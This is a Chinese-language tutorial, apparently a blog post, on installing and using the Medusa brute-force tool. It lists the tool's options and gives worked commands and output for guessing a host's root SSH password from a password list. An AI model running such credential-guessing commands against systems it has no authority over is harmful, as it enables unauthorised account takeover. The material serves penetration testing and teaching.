Medusa是一种快速,并行和模块化的登录蛮力软件。目标是支持尽可能多的服务,以允许远程身份验证。作者认为以下各项是此应用程序的一些关键功能:
- 基于线程的并行测试。可以同时针对多个主机,用户或密码执行暴力测试。
- 灵活的用户输入。目标信息(主机/用户/密码)可以通过多种方式指定。例如,每个项目可以是单个条目,也可以是包含多个条目的文件。此外,组合文件格式允许用户优化其目标列表。
- 模块化设计。每个服务模块都作为独立的.mod文件存在。这意味着无需对核心应用程序进行任何修改即可扩展支持的蛮力服务列表。
- 支持多种协议。当前支持许多服务(例如SMB,HTTP,POP3,MS-SQL,SSHv2等)
1、Medusa简介
Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具。可以同时对多个主机,用户或密码执行强力测试。Medusa和hydra一样,同样属于在线密码破解工具。Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),NNTP,PcAnywhere, POP3, PostgreSQL, rexec, RDP、rlogin, rsh, SMBNT,SMTP(AUTH/VRFY),SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC、Generic Wrapper以及Web表单的密码爆破工具。
官方网站:http://foofus.net/goons/jmk/medusa/medusa.html。
2、安装medusa ,手动编译和安装medusa
[root@k5 ~]# yum install libssh2-devel libssh2-devel -y
[root@k5 ~]# tar zxvf 2.2.tar.gz
[root@k5 ~]# cd medusa-2.2/
[root@k5 medusa-2.2]# ./configure --enable-debug=yes --enable-module-afp=yes --enable-module-cvs=yes --enable-module-ftp=yes --enable-module-http=yes --enable-module-imap=yes --enable-module-mssql=yes --enable-module-mysql=yes --enable-module-ncp=yes --enable-module-nntp=yes --enable-module-pcanywhere=yes --enable-module-pop3=yes --enable-module-postgres=yes --enable-module-rexec=yes --enable-module-rlogin=yes --enable-module-rsh=yes --enable-module-smbnt=yes --enable-module-smtp=yes --enable-module-smtp-vrfy=yes --enable-module-snmp=yes --enable-module-ssh=yes --enable-module-svn=yes --enable-module-telnet=yes --enable-module-vmauthd=yes --enable-module-vnc=yes --enable-module-wrapper=yes --enable-module-web-form=yes
#这个参数中加入很多模块,这样方便后期使用。--enable-module-ssh=yes这个就是稍后要使用的暴力破解sshd服务的模块。
[root@k5 medusa-2.2]#make -j 4
[root@k5 medusa-2.2]# make install #安装完成后,会将medusa的一些modules 文件复制到/usr/local/lib/medusa/modules文件夹。
[root@k5 ~]# ls /usr/local/lib/medusa/modules #查看已经生成的模块
3、Medusa参数说明
Medusa [-hhost|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module[OPT]
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计。
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次
4、破解单一服务器SSH密码
例1:通过文件来指定host和user,host.txt为目标主机名称或者IP地址,user.txt指定需要暴力破解的用户名,密码指定为123456。
[root@k5 medusa-2.2]# cd
[root@k5 ~]# echo 10.27.17.34 > /root/host.txt
[root@k5 ~]# echo root > /root/users.txt
[root@k5 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -p 123456
注:可以看到暴解成功。
例2:对单一服务器进行密码字典暴力破解
[root@k5 ~]# vim /root/p.txt #写入以下内容,每行一个密码,做一个临时字典 。
123
abc123
123456
666666
注:其中123456 是我们的密码
[root@k5 ~]# medusa -M ssh -H ./host.txt -U ./users.txt -P p.txt
例3:加-O ssh.log 可以将成功破解的记录记录到ssh.log文件中
[root@k5 medusa-2.2]# medusa -M ssh -H /root/host.txt -U /root/users.txt -P /root/p.txt -O ./ssh.log
ACCOUNT CHECK: [ssh] Host: 10.27.17.34 (1 of 1, 0 complete) User: root (1 of 1, 0 complete) Password: 123456 (2 of 861 complete)
ACCOUNT FOUND: [ssh] Host: 10.27.17.34 User: root Password: 123456 [SUCCESS]
[root@k5 ~]# cat ssh.log
# Medusa has finished (2019-09-19 11:13:37).
# Medusa v.2.2 (2019-09-19 11:15:16)
# medusa -M ssh -H /root/host.txt -U /root/users.txt -P /root/p.txt -O ./ssh.log
# Medusa v.2.2 (2019-09-19 11:26:37)
# medusa -M ssh -H /root/host.txt -U /root/users.txt -P /root/p.txt -O ./ssh.log
ACCOUNT FOUND: [ssh] Host: 10.27.17.34 User: root Password: 123456 [SUCCESS]
# Medusa has finished (2019-09-19 11:26:40).